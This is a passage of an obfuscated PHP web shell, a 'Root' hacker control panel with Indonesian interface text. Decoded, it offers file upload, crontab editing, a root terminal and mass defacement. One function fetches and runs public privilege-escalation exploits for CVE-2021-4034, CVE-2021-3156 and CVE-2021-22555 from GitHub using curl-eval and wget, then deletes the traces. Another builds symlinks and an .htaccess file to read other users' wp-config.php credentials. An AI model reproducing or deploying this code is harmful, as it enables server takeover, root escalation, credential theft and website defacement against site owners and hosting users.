pace-spinner{0%{-o-transform:rotate(0);transform:rotate(0)}100%{-o-transform:rotate(360deg);transform:rotate(360deg)}}@-ms-keyframes pace-spinner{0%{-ms-transform:rotate(0);transform:rotate(0)}100%{-ms-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes pace-spinner{0%{transform:rotate(0);transform:rotate(0)}100%{transform:rotate(360deg);transform:rotate(360deg)}}pre.code code{height:400px;font-size:14px;}hr{border-top: 1px solid rgb(40 167 69);}</style>
<?php goto lqrHI; cCVgC: $IIIIIIII1lI1 = (int) ($IIIIIIII1lIl / $IIIIIIII1lII * 100); goto t_iiR; z7DGc: $IIIIIIII1lIl = disk_free_space($dir); goto cCVgC; sgGFS: if ($_GET["\x61\x6b\163\151"] == "\167\x70\x62\x64") { wpbd($dir); } goto XY24e; I3MH7: function autoRoot($dir) { echo "\x3c\144\151\x76\40\x63\154\x61\x73\x73\75\x22\x63\141\x72\144\x20\x6d\x62\55\65\x22\x3e\12\74\144\x69\166\x20\x63\x6c\x61\163\x73\x3d\42\x63\x61\x72\x64\x2d\x62\157\144\171\40\146\157\x72\x6d\x2d\147\x72\x6f\x75\160\x22\x3e\12\x3c\x68\x35\x3e\x3c\x70\x20\x63\154\x61\163\163\x3d\42\x74\x65\170\164\x2d\143\145\156\x74\x65\162\40\x66\x6f\156\x74\55\x77\145\x69\147\150\x74\55\142\x6f\x6c\x64\40\x74\x65\x78\x74\55\x73\165\143\143\145\x73\163\x22\x3e\x57\x68\151\143\150\x20\122\157\x6f\x74\151\156\147\40\x4d\x65\x74\150\x6f\x64\x3f\x3c\57\160\x3e\74\150\x35\76"; echo "\74\146\157\162\155\x20\x6d\145\x74\150\x6f\x64\x3d\x22\x70\157\x73\x74\42\76\74\143\x65\x6e\164\145\x72\x3e"; echo "\74\151\156\160\x75\x74\x20\143\x6c\x61\163\x73\x3d\x22\142\x74\156\x20\x62\164\x6e\x2d\160\x72\151\155\x61\162\171\x22\x20\x74\171\160\x65\x3d\x22\x73\x75\x62\155\151\164\x22\x20\x6e\x61\155\x65\75\x22\141\x75\164\157\162\x6f\157\x74\x34\60\63\64\x63\x22\x20\x76\141\154\x75\145\x3d\42\x34\x30\63\64\56\x63\x22\76"; echo "\74\x69\156\x70\165\x74\x20\143\x6c\141\163\163\75\42\x62\x74\x6e\40\142\x74\x6e\x2d\x73\x65\x63\157\x6e\x64\141\162\x79\42\x20\x74\x79\160\x65\x3d\42\163\165\x62\x6d\151\x74\42\40\156\x61\155\x65\75\42\141\165\164\x6f\x72\x6f\157\x74\x34\60\x33\64\160\171\x22\40\166\141\x6c\165\x65\75\x22\x34\60\x33\64\56\160\x79\x22\76"; echo "\x3c\151\x6e\x70\165\164\40\143\154\x61\x73\163\75\x22\142\x74\156\x20\x62\x74\x6e\55\x73\165\x63\x63\x65\x73\x73\x22\40\164\171\160\145\x3d\42\163\165\x62\155\x69\164\42\40\x6e\141\x6d\x65\75\42\x61\165\164\x6f\162\x6f\157\x74\x33\x31\65\66\160\x79\42\x20\x76\141\154\x75\145\75\x22\x33\61\65\x36\56\160\171\42\x3e"; echo "\x3c\x69\x6e\x70\165\164\x20\143\154\141\163\163\75\42\x62\x74\156\40\x62\x74\x6e\55\151\x6e\x66\157\x22\40\x74\x79\160\x65\x3d\x22\163\x75\x62\x6d\151\164\42\40\x6e\x61\155\145\x3d\x22\x61\x75\164\157\x72\x6f\x6f\x74\x65\x78\160\x6c\157\151\164\143\x22\x20\166\141\154\x75\145\x3d\42\145\x78\160\154\157\151\164\x2e\143\x22\76"; echo "\x3c\151\x6e\x70\165\x74\x20\143\154\x61\163\x73\75\42\142\x74\156\40\x62\164\156\x2d\144\x61\156\x67\x65\162\42\x20\164\171\160\x65\75\42\x73\165\142\x6d\x69\164\42\40\x6e\141\x6d\145\x3d\x22\143\x6c\x65\x61\162\162\x6f\x6f\x74\x69\156\x67\x22\40\x76\141\x6c\x75\145\75\42\x43\154\145\x61\x72\42\x3e"; echo "\74\57\143\x65\156\x74\145\162\76\x3c\x2f\146\157\162\x6d\76"; if (isset($_POST["\x61\165\164\x6f\162\157\x6f\x74\x34\60\x33\x34\143"])) { $autoroot4034c = "\x63\144\x20\x2f\x74\x6d\x70\40\x26\46\40\x65\x76\x61\x6c\x20\42\x24\50\x63\165\x72\154\40\55\x73\40\x68\164\x74\160\x73\72\x2f\x2f\162\141\x77\x2e\x67\151\164\x68\x75\142\x75\163\145\x72\143\157\x6e\164\x65\156\x74\x2e\143\157\155\57\142\x65\162\144\x61\166\57\x43\x56\105\55\x32\x30\x32\61\x2d\64\x30\63\64\x2f\x6d\x61\x69\x6e\57\x63\x76\x65\x2d\62\60\x32\61\55\x34\x30\x33\64\x2e\163\150\51\42"; $result_autoroot4034c = ex($autoroot4034c); if ($result_autoroot4034c == '') { echo "\x3c\160\40\143\154\x61\x73\163\x3d\42\x74\145\x78\164\55\144\x61\x6e\x67\145\x72\42\x3e\74\160\x72\145\x3e\74\x63\157\x64\x65\x3e\133\x2b\x5d\40\64\x30\x33\x34\x2e\143\x20\x72\157\x6f\164\x69\156\147\x20\146\x61\x69\154\145\144\41\x3c\57\143\x6f\144\145\x3e\x3c\57\x70\x72\145\76\74\57\x70\76"; } else { echo "\74\x70\40\143\154\x61\x73\x73\x3d\x22\164\145\x78\164\x2d\163\165\x63\x63\x65\x73\163\x22\x3e\74\x70\x72\x65\x3e\74\143\x6f\144\x65\x3e" . $result_autoroot4034c . "\x3c\57\x63\157\x64\145\x3e\x3c\x2f\160\162\145\x3e\74\142\x72\76\x3c\x2f\160\x3e"; } } if (isset($_POST["\x61\165\x74\157\162\x6f\x6f\x74\x34\60\x33\x34\160\171"])) { $autoroot4034py = "\x63\x64\40\x2f\x74\x6d\x70\40\46\x26\x20\x77\147\x65\x74\x20\55\117\40\x61\163\56\160\171\x20\x68\x74\x74\160\x73\72\x2f\57\162\141\x77\56\147\x69\164\x68\x75\142\165\163\x65\x72\143\x6f\x6e\164\145\156\164\x2e\143\157\155\x2f\x6a\157\145\141\x6d\x6d\x6f\156\144\57\103\x56\105\x2d\x32\x30\62\x31\55\x34\x30\63\x34\x2f\x6d\x61\x69\156\x2f\103\126\x45\55\x32\60\x32\x31\x2d\64\60\63\x34\x2e\160\171\x20\x26\x26\x20\x70\x79\x74\150\157\156\x20\x61\x73\x2e\160\171"; $result_autoroot4034py = ex($autoroot4034py); if ($result_autoroot4034py == '') { echo "\74\160\x20\x63\x6c\x61\163\163\x3d\42\164\x65\170\164\55\x64\141\156\147\x65\x72\42\x3e\74\x70\162\145\76\74\143\x6f\144\145\76\133\x2b\x5d\x20\x34\x30\63\64\56\160\x79\x20\x72\157\157\x74\x69\156\x67\40\x66\x61\151\x6c\x65\x64\x21\74\x2f\x63\157\x64\x65\x3e\x3c\x2f\160\x72\x65\76\x3c\57\160\x3e"; } else { echo "\x3c\160\40\x63\154\141\x73\x73\75\x22\x74\x65\170\164\x2d\x73\x75\143\x63\x65\x73\163\x22\x3e\74\x70\162\x65\76\x3c\143\x6f\x64\x65\76" . $result_autoroot4034py . "\x3c\x2f\143\x6f\x64\x65\x3e\x3c\x2f\160\x72\145\x3e\x3c\x62\x72\x3e\x3c\57\x70\x3e"; } } if (isset($_POST["\141\165\164\157\162\x6f\x6f\x74\63\x31\x35\66\x70\171"])) { $autoroot3156py = "\x63\x64\x20\x2f\x74\x6d\160\40\46\46\40\x77\147\x65\x74\40\55\117\x20\x61\x73\x77\x2e\x70\x79\x20\x68\x74\164\x70\163\x3a\x2f\57\x72\x61\x77\56\x67\x69\164\150\x75\142\165\163\145\x72\143\x6f\x6e\164\x65\x6e\164\x2e\x63\157\155\57\167\157\x72\x61\x77\x69\x74\x2f\103\x56\105\x2d\62\60\x32\x31\55\x33\x31\x35\66\x2f\x6d\141\x69\x6e\57\x65\x78\x70\x6c\x6f\x69\164\137\165\163\x65\x72\163\160\x65\143\56\160\171\40\x26\46\40\160\171\x74\x68\157\156\40\141\163\167\56\160\x79"; $result_autoroot3156py = ex($autoroot3156py); if ($result_autoroot3156py == '') { echo "\74\x70\x20\143\154\141\x73\x73\x3d\x22\164\x65\x78\x74\55\144\141\x6e\147\x65\162\42\x3e\x3c\x70\162\x65\x3e\x3c\x63\x6f\144\145\x3e\133\53\135\40\x33\61\65\66\56\160\x79\x20\x72\157\x6f\164\151\156\147\x20\x66\141\x69\154\145\144\41\x3c\57\x63\x6f\144\x65\76\x3c\x2f\160\x72\145\76\x3c\x2f\x70\76"; } else { echo "\x3c\x70\40\143\154\141\x73\163\75\42\164\x65\170\x74\x2d\x73\x75\143\x63\x65\x73\x73\42\76\74\160\162\145\76\74\x63\157\144\x65\76" . $result_autoroot3156py . "\74\x2f\143\157\144\145\x3e\x3c\x2f\160\x72\145\x3e\74\142\x72\x3e\74\x2f\x70\76"; } } if (isset($_POST["\x61\165\x74\157\x72\x6f\x6f\164\x65\170\160\154\157\151\x74\x63"])) { $autorootexploitc = "\143\144\40\57\164\155\x70\40\x26\x26\40\x77\147\x65\164\x20\x2d\117\x20\145\170\x70\x6c\x6f\151\164\56\143\40\150\x74\164\160\x73\72\x2f\x2f\x72\x61\167\56\147\151\x74\x68\x75\x62\165\x73\145\x72\x63\x6f\x6e\164\145\x6e\x74\x2e\x63\x6f\155\57\x67\157\x6f\147\154\x65\57\x73\x65\143\x75\x72\151\164\x79\55\x72\x65\x73\145\x61\x72\x63\150\57\155\141\x73\x74\x65\x72\x2f\160\157\x63\x73\57\154\151\156\x75\x78\57\x63\166\145\x2d\x32\x30\x32\61\55\62\x32\x35\65\x35\x2f\x65\x78\x70\x6c\x6f\x69\x74\x2e\x63\x20\x26\x26\40\x67\x63\143\x20\x2d\155\63\x32\x20\x2d\x73\164\x61\x74\x69\x63\x20\x2d\157\40\x65\x78\160\x6c\157\151\x74\x20\x65\x78\x70\x6c\x6f\151\164\x2e\143\x20\46\46\40\143\150\155\157\144\x20\x2b\170\x20\x65\170\160\154\x6f\151\164\x20\46\46\56\x2f\145\x78\160\154\157\151\x74"; $result_autorootexploitc = ex($autorootexploitc); if ($result_autorootexploitc == '') { echo "\x3c\x70\x20\143\154\141\x73\x73\75\x22\x74\x65\x78\x74\55\144\x61\156\x67\x65\x72\42\x3e\x3c\160\x72\x65\76\74\143\x6f\144\x65\76\133\53\x5d\40\145\x78\x70\154\157\x69\164\56\143\x20\162\157\x6f\x74\151\x6e\147\40\146\x61\151\x6c\x65\x64\x21\74\x2f\x63\x6f\144\x65\x3e\x3c\x2f\x70\162\x65\x3e\74\x2f\x70\x3e"; } else { echo "\x3c\160\x20\x63\154\141\x73\163\x3d\x22\x74\x65\170\164\55\x73\x75\x63\x63\x65\163\163\x22\x3e\x3c\x70\162\x65\x3e\74\x63\x6f\144\145\76" . $result_autorootexploitc . "\x3c\x2f\143\x6f\x64\x65\x3e\74\57\x70\x72\145\76\74\x62\162\76\74\57\160\x3e"; } } if (isset($_POST["\x63\x6c\x65\x61\162\162\x6f\x6f\x74\151\x6e\147"])) { $result_clearrooting = "\x3c\160\162\x65\x20\x63\x6c\x61\x73\163\x3d\155\x6c\61\x3e" . ex("\143\144\40\57\164\x6d\160\40\46\x26\x20\162\155\x20\55\162\146\x20\x61\x73\x2e\x70\x79\40\141\163\x77\x2e\160\171\40\145\x78\160\x6c\157\151\x74\x2e\143\x20\x65\170\x70\x6c\157\x69\x74\x20\115\141\x6b\x65\x66\x69\154\x65\40\x63\x76\x65\x2d\62\x30\x32\61\55\x34\x30\x33\x34\x2e\143\40\143\x76\145\55\62\x30\62\x31\x2d\x34\60\x33\x34\x2e\x73\150\x20\160\167\x6e\x6b\151\x74\56\143\x20\143\x76\x65\55\x32\60\62\61\55\64\x30\x33\x34\x20\x47\x43\117\x4e\x56\x5f\x50\101\124\x48\75\56\x20\x70\x77\x6e\x6b\151\x74\56\163\157\40\160\167\156\153\x69\x74\x20\147\143\157\x6e\166\55\x6d\x6f\x64\x75\154\145\x73\40\x70\x61\x79\x6c\157\x61\x64\56\163\157") . "\x3c\x2f\x70\162\145\x3e\74\142\x72\x3e" . PHP_EOL; $tmp = sys_get_temp_dir(); if (!file_exists($tmp . "\57\141\x73\56\x70\x79")) { $result_clearrooting .= "\x3c\163\160\x61\156\x20\143\154\x61\x73\163\75\x22\x74\x65\x78\x74\x2d\163\165\143\x63\145\x73\163\x20\146\157\x6e\x74\55\x77\145\151\x67\150\x74\x2d\142\157\154\x64\40\x70\x2d\61\x22\x3e\x42\x65\x72\x68\x61\x73\151\x6c\x20\x63\154\145\141\162\40\x61\x73\x2e\x70\171\x21\74\57\163\160\141\x6e\x3e\x3c\142\x72\x2f\76" . PHP_EOL; } if (!file_exists($tmp . "\x2f\x61\x73\x77\56\x70\x79") && !file_exists($tmp . "\x2f\160\x61\x79\154\157\x61\x64\x2e\163\x6f")) { $result_clearrooting .= "\74\163\x70\141\156\40\x63\x6c\x61\x73\x73\75\x22\x74\x65\170\164\x2d\163\165\x63\x63\x65\163\163\40\x66\157\156\164\55\167\145\151\x67\150\164\55\142\157\154\144\x20\160\55\x31\42\76\102\145\x72\150\141\163\x69\x6c\x20\143\154\145\x61\162\40\141\x73\167\56\160\x79\41\74\57\x73\x70\141\156\x3e\74\x62\162\57\x3e" . PHP_EOL; } if (!file_exists($tmp . "\x2f\x65\170\160\x6c\x6f\151\x74\x2e\143") && !file_exists($tmp . "\57\x65\170\x70\154\157\151\164")) { $result_clearrooting .= "\x3c\163\x70\141\156\40\x63\x6c\x61\163\163\75\42\x74\x65\170\x74\55\x73\165\x63\x63\145\x73\163\x20\x66\x6f\x6e\x74\x2d\167\x65\x69\x67\x68\x74\55\x62\157\x6c\144\40\160\55\x31\42\x3e\x42\145\162\x68\x61\x73\x69\154\40\143\x6c\x65\x61\x72\40\x65\x78\160\154\x6f\x69\164\56\143\x21\x3c\x2f\163\x70\x61\156\x3e\x3c\x62\162\x2f\76" . PHP_EOL; } if (!file_exists($tmp . "\x2f\115\141\x6b\145\146\x69\154\145") && !file_exists($tmp . "\57\x63\x76\x65\x2d\62\60\62\61\x2d\64\60\x33\x34\56\143") && !file_exists($tmp . "\57\143\166\145\55\62\60\x32\61\x2d\64\60\x33\x34\56\163\150") && !file_exists($tmp . "\x2f\x70\167\156\x6b\x69\x74\56\x63") && !file_exists($tmp . "\57\x63\x76\145\55\62\60\62\61\55\64\60\63\64") && !file_exists($tmp . "\x2f\160\x77\156\x6b\151\164\56\x73\x6f") && !file_exists($tmp . "\x2f\160\x77\x6e\153\151\x74") && !is_dir($tmp . "\57\x67\x63\157\156\166\55\x6d\x6f\144\x75\x6c\145\163") && !is_dir($tmp . "\57\x47\103\x4f\x4e\x56\137\120\101\x54\110\x3d\56")) { $result_clearrooting .= "\74\163\x70\x61\156\40\143\x6c\141\163\163\x3d\42\x74\x65\x78\164\55\x73\x75\x63\143\145\163\163\40\146\x6f\156\164\x2d\167\145\151\147\x68\164\x2d\142\157\154\144\40\160\55\x31\x22\x3e\102\x65\x72\150\x61\x73\151\x6c\x20\x63\154\145\141\162\40\163\151\x73\141\156\x79\x61\41\74\x2f\x73\x70\141\156\x3e\x3c\142\x72\57\76" . PHP_EOL; } echo "\x3c\x64\x69\166\x20\x63\154\141\163\x73\75\x22\x73\x6d\x61\x6c\x6c\141\x72\x65\141\42\x20\x6e\x61\155\x65\x3d\x22\x6f\x75\164\x70\165\164\40\x73\x74\171\x6c\x65\x3d\42\x62\157\162\144\145\x72\55\142\157\x74\x74\157\x6d\x3a\x30\x3b\x6d\141\162\147\x69\156\x2d\x74\157\x70\72\x35\x70\170\73\42\x20\x72\145\141\x64\x6f\x6e\x6c\x79\x3e"; print_r($result_clearrooting) . PHP_EOL; echo "\74\x2f\144\x69\x76\x3e"; } echo "\x3c\57\x64\151\166\x3e\74\x2f\144\151\x76\x3e"; } goto gFIpc; QOeUu: if ($_GET["\141\x6b\163\151"] == "\143\157\x6e\x66\151\147") { IIIIIII1lII1($dir, $file); } goto QR2gb; Zko4a: if ($_GET["\141\x6b\163\151"] == "\163\145\x72\x70") { IIIIIIIllIII($dir, $IIIIIIII1l1I); } goto wAXZQ; ATQKj: if ($_GET["\x61\153\x73\151"] == "\x6c\157\x67\147\145\x72") { logger($dir); } goto LLTEe; k8V3L: function IIIIIIIIl1II($file) { $IIIIIIIIl1Il = fileperms($file); if (($IIIIIIIIl1Il & 49152) == 49152) { $IIIIIIIIl1lI = "\163"; } elseif (($IIIIIIIIl1Il & 40960) == 40960) { $IIIIIIIIl1lI = "\154"; } elseif (($IIIIIIIIl1Il & 32768) == 32768) { $IIIIIIIIl1lI = "\x2d"; } elseif (($IIIIIIIIl1Il & 24576) == 24576) { $IIIIIIIIl1lI = "\x62"; } elseif (($IIIIIIIIl1Il & 16384) == 16384) { $IIIIIIIIl1lI = "\144"; } elseif (($IIIIIIIIl1Il & 8192) == 8192) { $IIIIIIIIl1lI = "\143"; } elseif (($IIIIIIIIl1Il & 4096) == 4096) { $IIIIIIIIl1lI = "\x70"; } else { $IIIIIIIIl1lI = "\165"; } $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 256 ? "\x72" : "\55"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 128 ? "\x77" : "\55"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 64 ? $IIIIIIIIl1Il & 2048 ? "\163" : "\x78" : ($IIIIIIIIl1Il & 2048 ? "\x53" : "\x2d"); $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 32 ? "\x72" : "\x2d"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 16 ? "\167" : "\x2d"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 8 ? $IIIIIIIIl1Il & 1024 ? "\163" : "\x78" : ($IIIIIIIIl1Il & 1024 ? "\x53" : "\55"); $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 4 ? "\x72" : "\55"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 2 ? "\167" : "\55"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 1 ? $IIIIIIIIl1Il & 512 ? "\164" : "\x78" : ($IIIIIIIIl1Il & 512 ? "\x54" : "\x2d"); return $IIIIIIIIl1lI; } goto a5AKJ; oXNAJ: $path = str_replace("\134", "\x2f", $path); goto GakLC; uQ9_k: if ($_GET["\x61\x6b\163\151"] == "\x6d\x61\x73\144\x65\154") { IIIIIII1IIII($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l); } goto ygJ1p; ASzE7: function IIIIIII111ll($dir, $file) { $IIIIIII111l1 = get_current_user(); if ($_POST["\x65\x78\145\x63\165\x74\x65"]) { @rmdir("\151\156\144\157\163\x65\x63\137\x73\x79\155\x34\x30\64"); @mkdir("\x69\x6e\x64\157\x73\x65\143\x5f\163\171\x6d\64\60\64", 511); $dir = $_POST["\144\x69\x72"]; $isi = $_POST["\x69\x73\x69"]; @system("\154\156\40\x2d\163\40" . $dir . "\151\x6e\144\x6f\x73\x65\143\x5f\163\171\x6d\64\60\64\57" . $isi); @symlink($dir, "\151\156\144\x6f\163\x65\143\x5f\163\x79\x6d\x34\60\64\x2f" . $isi); $IIIIIII11111 = fopen("\151\x6e\144\157\x73\145\x63\x5f\x73\x79\155\x34\60\64\57\x2e\x68\164\x61\x63\x63\x65\163\x73", "\x77"); @fwrite($IIIIIII11111, "\122\x65\141\x64\155\145\116\141\x6d\x65\x20" . $isi . "\xa\x4f\x70\x74\151\157\x6e\x73\x20\111\x6e\x64\x65\170\x65\163\40\106\x6f\154\154\157\x77\123\171\155\x4c\151\156\153\163\12\x44\x69\x72\x65\x63\164\x6f\162\x79\x49\156\x64\145\x78\x20\x69\x64\163\56\150\164\155\154\xa\101\x64\x64\124\171\x70\x65\40\164\145\170\164\57\160\x6c\x61\151\x6e\x20\160\x68\x70\x20\x68\x74\155\x6c\40\x70\x68\160\x35\x20\160\x68\x74\x6d\x6c\xa\x41\144\x64\x48\x61\x6e\x64\154\145\x72\40\x74\x65\170\x74\x2f\x70\154\141\151\156\40\160\150\x70\40\x68\x74\x6d\154\x20\160\x68\160\65\40\160\150\164\x6d\154\12\123\141\x74\151\x73\146\x79\40\x41\156\x79"); echo "\x3c\141\x20\150\x72\x65\146\x3d\42\57\x69\x6e\144\157\163\145\x63\x5f\163\x79\155\64\x30\x34\x2f\x22\40\x74\141\x72\147\145\x74\x3d\42\137\x62\154\x61\156\153\x22\40\143\x6c\x61\163\163\75\x22\x62\164\x6e\x20\x62\164\156\55\x73\165\x63\143\x65\x73\163\x20\x62\164\x6e\x2d\x62\154\157\143\x6b\x20\x6d\x62\55\x33\42\76\x43\x6c\x69\143\x6b\40\115\145\41\x21\x3c\57\141\x3e"; } else { echo "\x3c\150\x32\76\x53\x79\155\x6c\151\156\153\40\64\60\64\74\x2f\150\62\76\12\x3c\146\157\x72\x6d\x20\155\145\x74\150\x6f\144\75\42\160\157\x73\164\42\76\12\x46\151\154\x65\x20\124\x61\162\147\x65\164\x3a\40\74\151\x6e\160\x75\x74\40\164\171\160\145\75\42\x74\x65\170\x74\x22\x20\x63\x6c\141\x73\163\75\42\x66\x6f\162\155\55\143\x6f\156\164\162\157\x6c\42\40\x6e\141\155\145\x3d\x22\x64\151\x72\42\x20\166\x61\154\x75\145\75\42\57\x68\x6f\x6d\x65\57" . $IIIIIII111l1 . "\x2f\x70\x75\142\154\151\x63\x5f\150\x74\155\x6c\57\167\x70\55\x63\x6f\156\146\151\x67\56\x70\x68\x70\42\x3e\x3c\x62\162\57\76\12\x53\x61\166\x65\x20\101\x73\x3a\x20\74\x69\x6e\160\165\x74\x20\164\171\x70\145\75\x22\x74\x65\170\x74\42\x20\143\154\x61\x73\163\x3d\42\x66\x6f\162\x6d\55\143\157\x6e\x74\x72\157\154\42\x20\x6e\141\x6d\x65\75\42\x69\x73\x69\42\x20\x70\x6c\141\x63\x65\150\157\x6c\x64\x65\162\x3d\x22\133\x45\170\x5d\40\146\151\154\x65\x2e\x74\x78\164\42\57\76\x3c\142\162\57\x3e\12\74\x69\x6e\160\165\x74\40\x74\171\x70\x65\75\42\163\165\142\155\x69\164\42\x20\143\x6c\141\x73\163\75\x22\x62\x74\x6e\40\x62\164\x6e\x2d\144\x61\x6e\147\145\x72\40\142\x74\x6e\x2d\142\154\157\x63\153\x22\40\166\141\x6c\165\x65\75\42\105\170\145\x63\165\164\x65\x22\40\156\141\155\x65\75\x22\x65\x78\x65\x63\x75\x74\145\42\x2f\76\xa\74\x70\40\143\154\141\163\x73\75\x22\x74\x65\x78\164\55\155\165\164\145\144\42\x3e\x4e\x42\72\40\114\x65\x74\141\153\x20\x77\x70\55\143\x6f\x6e\146\x69\147\40\x74\x69\144\141\x6b\40\x73\145\x6d\165\x61\x6e\171\141\x20\142\x65\x72\141\x64\x61\40\144\x69\40\74\x75\x3e\x70\x75\142\x6c\151\x63\137\x68\164\155\154\57\167\160\x2d\x63\157\x6e\146\151\x67\56\160\x68\x70\x3c\x2f\165\x3e\40\152\x61\x64\151\40\163\x69\154\x61\x68\x6b\x61\156\x20\x75\142\x61\150\40\x73\145\163\165\141\151\x20\x6c\145\164\x61\153\156\171\141\x2e\74\x2f\160\x3e\12\74\x2f\x66\157\162\155\x3e"; } die; } goto ad1Lh; lqrHI: echo "\74\x64\151\166\x20\x63\154\141\x73\163\75\42\143\x6f\x6e\164\x61\x69\156\145\162\x22\x3e\xa\74\x68\x31\x20\143\x6c\141\163\x73\75\42\x74\x65\x78\x74\x2d\x63\x65\x6e\x74\145\162\40\x6d\164\55\63\x22\x3e\173\40\122\157\x6f\x74\x20\74\x69\x20\143\x6c\x61\x73\163\x3d\42\146\x61\142\x20\146\141\x2d\x68\141\x63\x6b\145\162\162\141\156\x6b\42\76\x3c\x2f\x69\x3e\x75\x6e\164\x65\162\x20\175\74\57\x68\61\76\12\x3c\150\162\57\x3e\xa\x3c\144\x69\166\40\x63\x6c\141\163\x73\x3d\x22\x74\x65\170\x74\x2d\x63\145\x6e\164\x65\x72\42\76\xa\74\144\151\166\40\143\154\x61\163\163\75\42\x64\55\x66\154\145\170\40\x6a\x75\x73\x74\x69\146\x79\55\x63\x6f\x6e\x74\145\x6e\164\x2d\143\145\156\x74\145\x72\40\x66\154\145\x78\x2d\167\162\141\160\x22\x3e\12\74\141\40\150\162\x65\x66\x3d\x22\x3f\42\x20\x63\x6c\x61\163\163\75\42\146\x69\x74\x75\162\x65\40\x62\164\x6e\40\x62\x74\156\55\144\x61\x6e\x67\x65\162\x20\x62\164\156\x2d\163\x6d\42\76\74\151\x20\143\154\141\x73\163\75\x22\x66\141\x20\x66\x61\x2d\150\x6f\x6d\145\x22\x3e\74\x2f\151\x3e\40\x48\x6f\155\x65\74\57\141\76\xa\74\141\40\150\162\145\146\75\42\77\144\151\x72\75" . $dir . "\46\x61\153\x73\151\75\165\x70\154\x6f\x61\144\42\40\143\154\141\163\163\75\42\x66\x69\x74\165\162\145\x20\x62\164\x6e\40\x62\164\x6e\x2d\x64\x61\156\x67\145\162\x20\x62\164\156\x2d\163\x6d\x22\76\74\151\x20\x63\154\x61\163\x73\x3d\42\x66\141\40\146\x61\x2d\165\160\154\x6f\x61\144\42\76\x3c\57\151\x3e\x20\x55\160\x6c\x6f\x61\144\x3c\57\141\x3e\xa\x3c\x61\x20\150\162\x65\x66\75\x22\77\144\x69\162\75" . $dir . "\x26\x61\153\x73\151\75\x63\162\x6f\156\164\x61\x62\x22\40\x63\x6c\141\163\163\x3d\x22\x66\151\164\165\x72\x65\40\142\164\x6e\x20\142\164\x6e\55\x64\141\x6e\x67\x65\162\40\142\x74\x6e\x2d\163\x6d\x22\x3e\74\151\40\x63\154\x61\x73\163\75\x22\146\141\40\x66\141\x2d\x70\x6c\165\x73\42\x3e\x3c\57\x69\76\40\103\162\x6f\x6e\x74\x61\x62\74\x2f\x61\x3e\12\x3c\141\x20\150\x72\x65\x66\x3d\x22\x3f\144\151\162\75" . $dir . "\x26\x61\153\163\151\75\156\x67\145\162\x6f\157\164\42\x20\x63\154\141\x73\x73\x3d\42\146\x69\164\165\162\145\x20\142\164\156\40\142\x74\x6e\x2d\x64\141\156\147\x65\162\40\142\x74\156\55\x73\155\x22\x3e\x3c\x69\x20\143\154\x61\x73\163\75\x22\x66\141\x73\x20\146\x61\55\x63\150\145\x73\x73\55\x72\x6f\x6f\x6b\x22\x3e\x3c\x2f\x69\76\40\x52\157\157\x74\x3c\57\141\x3e\xa\x3c\x61\x20\x68\x72\145\x66\75\42\x3f\x64\151\x72\x3d" . $dir . "\46\141\153\x73\x69\x3d\155\157\x64\x75\x6c\145\x73\42\40\x63\154\x61\x73\x73\x3d\42\146\151\164\x75\162\x65\x20\x62\164\156\40\142\164\x6e\x2d\144\141\156\x67\x65\162\40\x62\x74\156\55\x73\x6d\x22\x3e\74\x69\40\143\x6c\141\x73\163\75\x22\x66\x61\40\x66\141\55\146\151\x6c\145\55\x63\157\x64\145\x22\x3e\x3c\x2f\151\x3e\40\115\x6f\x64\x75\x6c\x65\163\74\57\x61\x3e\12\x3c\x61\40\x68\x72\145\x66\x3d\42\77\144\x69\162\x3d" . $dir . "\46\x61\153\x73\x69\x3d\164\145\162\x6d\x69\x6e\x61\x6c\x72\157\157\164\x22\x20\143\154\x61\x73\x73\75\x22\146\x69\x74\x75\x72\x65\40\142\x74\x6e\x20\x62\x74\156\x2d\144\x61\156\x67\145\162\x20\x62\x74\156\55\x73\155\42\76\74\x69\x20\143\x6c\141\x73\163\75\x22\x66\141\x20\x66\x61\55\164\145\x72\x6d\x69\156\x61\x6c\42\x3e\x3c\x2f\151\76\40\x52\x6f\157\164\x20\124\145\162\155\151\156\141\x6c\x3c\57\141\x3e\12\74\x61\40\150\x72\145\146\x3d\x22\x3f\144\151\x72\x3d" . $dir . "\46\x61\153\163\151\x3d\x62\x75\141\x74\137\146\151\154\x65\x22\40\143\x6c\x61\x73\163\x3d\x22\146\151\164\165\x72\x65\40\142\164\156\40\142\164\x6e\55\144\141\156\147\145\x72\40\142\x74\x6e\x2d\x73\155\42\x3e\74\151\40\143\x6c\141\x73\163\75\42\146\x61\40\x66\141\x2d\x70\x6c\x75\x73\x2d\x63\151\x72\143\154\x65\x22\x3e\x3c\x2f\x69\76\40\x46\151\x6c\x65\x3c\x2f\141\76\xa\74\x61\x20\x68\x72\145\x66\x3d\x22\77\x64\151\162\75" . $dir . "\x26\141\x6b\163\151\x3d\142\x75\141\164\137\x66\157\154\144\x65\162\42\40\143\x6c\141\163\163\x3d\x22\x66\151\x74\x75\x72\x65\x20\x62\x74\156\x20\x62\x74\x6e\x2d\x64\141\x6e\x67\x65\x72\x20\142\x74\156\55\163\x6d\42\76\74\x69\40\143\x6c\141\x73\163\75\x22\146\x61\x20\146\x61\x2d\160\154\x75\163\x22\x3e\x3c\57\x69\x3e\x20\106\x6f\x6c\x64\145\x72\74\x2f\x61\x3e\12\x3c\x61\x20\x68\x72\145\146\75\42\x3f\144\x69\x72\x3d" . $dir . "\46\141\153\x73\x69\x3d\155\x61\x73\x64\x65\146\42\x20\143\154\x61\163\x73\x3d\42\146\151\x74\x75\162\145\x20\142\164\156\40\x62\x74\156\x2d\x64\141\x6e\x67\145\x72\40\x62\164\156\55\163\155\x22\x3e\74\x69\40\143\154\141\163\x73\75\x22\x66\x61\x20\x66\x61\55\145\x78\143\154\141\155\141\164\x69\x6f\156\55\164\x72\151\x61\156\147\x6c\145\42\x3e\x3c\57\151\76\x20\115\141\x73\163\x20\104\145\x66\141\143\x65\74\x2f\141\76\12\x3c\141\x20\x68\162\x65\x66\x3d\42\x3f\144\151\162\x3d" . $dir . 